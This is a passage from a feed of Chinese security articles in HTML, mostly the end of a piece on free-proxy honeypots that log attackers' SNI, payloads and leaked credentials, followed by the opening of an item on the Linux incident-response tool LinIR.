8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一段时间的 SNI 日志积累下来，攻击者的目标清单就摆在桌上了。哪些是扫描器在批量探测，哪些是针对特定目标的定向渗透，模式一目了然。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第四层：你的武器</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTTP 模式下，请求体是完全透明的。POST 到某个 URL 的 payload——SQL 注入语句、WebShell 上传、漏洞利用代码——全部被原样记录。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对这些 payload 做 SHA256 哈希，还能跨时间、跨节点关联：同一个哈希在三个不同蜜罐节点上出现，大概率是同一轮自动化扫描的不同出口。请求频率和目标分布能区分出机器扫描和人工渗透——前者快而广，后者慢而深。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第五层：你的秘密</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是最致命的一层。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多攻击者通过代理访问自己的基础设施——C2 面板、API 接口、云服务。这些请求里带着 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">Authorization</span></code><span leaf=""> 头（Bearer token、Basic auth 的 base64 编码）、URL 里的 API Key、Cookie 里的 session token。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTTP 代理能看到全部明文。HTTPS 代理虽然看不到加密内容，但如果攻击者不慎用 HTTP 而非 HTTPS 访问了某个管理面板（这种事比你想象的常见），凭据就直接暴露了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在蜜罐日志里看到过：用免费代理访问某云服务商 API 带着 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">Authorization: Bearer sk-live-xxxx</span></code><span leaf=""> 的。攻击者省了代理的钱，把 API Key 送了出去。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">设计哲学，不是技术细节</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做代理蜜罐有几个关键的设计取舍，比代码本身更值得说。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">为什么不做 MITM？</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做 TLS 中间人拦截当然能看到更多——完整的 HTTPS 请求和响应。但代价是：需要生成伪造证书，客户端可能会验证证书链，一旦验证失败，攻击者就知道这个代理有问题。对于蜜罐来说，</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">不被识别</span></strong><span leaf="">比</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">多看一点内容</span></strong><span leaf="">更重要。SNI + TLS 指纹已经提供了足够的情报价值，不值得为了看 HTTPS body 而冒暴露的风险。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">为什么宁可丢日志也不能变慢？</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">代理的响应延迟是最容易被检测的指标。攻击者通常会先测一遍代理的延迟和稳定性，太慢的直接淘汰。蜜罐的日志系统如果用同步写入，一次磁盘 IO 卡顿就会让代理响应变慢，在筛选阶段就被踢掉。所以用 channel 做异步写入，channel 满了就丢事件——丢几条日志是可以接受的，暴露蜜罐身份不行。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">为什么 SNI 窥探要 replay？</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">代理在 CONNECT 隧道建立后，需要从客户端读取 ClientHello 来提取 SNI。但读完之后这些字节不能丢——它们是 TLS 握手的一部分，必须原封不动地转发给目标服务器。做法是 peek 之后把读到的字节拼接到转发流的最前面，目标服务器收到的数据流和没有蜜罐时完全一致。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这几个取舍的共同逻辑是：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">蜜罐的首要目标是活得久，而不是抓得多。</span></strong><span leaf=""> 一个活了三个月的蜜罐的情报价值，远超一个活了三天就被识别拉黑的。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">这不是单向收割</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者也在进化。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">成熟的攻击团队会对代理做一轮筛选：连通性、延迟、是否篡改响应内容、IP 是否在黑名单中、是否在已知的蜜罐列表上。有些还会发特定的 canary 请求来检测代理是否在记录和回放流量。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">技术层面，</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">ECH（Encrypted Client Hello）</span></strong><span leaf=""> 正在逐步部署。这个 TLS 扩展把 ClientHello 中的 SNI 也加密了，直接封堵了最有价值的被动情报来源。Cloudflare 已经在大规模推 ECH，等 ECH 普及之后，代理蜜罐通过 SNI 窥探目标域名的窗口会关闭。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这就是为什么现在做这件事是有时间窗口的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">高级攻击者会转向付费的住宅代理服务——这些服务通过 SDK 嵌入到普通用户的 APP 里，把真实用户的设备变成代理出口，IP 干净、行为正常、很难被识别。但关键是：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">这要花钱。</span></strong></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">回到那笔账</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安全领域有一个经典框架：防御的目标不是让攻击变得不可能，而是让攻击变得不经济。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">代理蜜罐不需要阻止任何攻击，甚至不需要被攻击者使用很多次。它的价值在于</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">污染信任</span></strong><span leaf="">。当圈子里传开 &#34;免费代理不安全，用了可能被反溯源&#34;，就会有一部分人从免费代理迁移到付费代理。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">付费代理意味着成本。成本意味着门槛。门槛意味着一部分攻击者出局，或者降低攻击频率。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这才是代理蜜罐的真正战略价值——不在于抓到了谁，而在于让&#34;省钱&#34;这件事变得不安全。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在攻防的世界里，每一次&#34;免费&#34;都标好了价格。只是有些人付的是钱，有些人付的是自己。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=05bc6603&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484058%26idx%3D1%26sn%3Db2495529052869ae7bf3ce778f831c40">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Apr 2026 20:48:00 +0800</pubDate>
    </item>
    <item>
      <title>LinIR-Linux下的应急响应采集工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484053&amp;idx=1&amp;sn=0b9ddaca7e4a74e4afa0c806dab47c6a</link>
      <description>当你登上一台可能已被入侵的服务器，你敢相信上面的 ps、netstat、ss 吗？</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋运维</span> <span>2026-04-01 23:58</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7050acaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTAFC5BLa6G1S9jzVDbYP3icvh3kNh6c0njNckib4IkCKHT0MgUO2OK6z0mN5uuWpW9tQgtRQw2InxLia1Qaor7X3ialCBVf3VmD0NuuN7636BLk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>当你登上一台可能已被入侵的服务器，你敢相信上面的 ps、netstat、ss 吗？</p>
  <blockquote style="box-sizing: border-box;margin: 20px 0px;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><span leaf="">当你登上一台可能已被入侵的服务器，你敢相信上面的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: 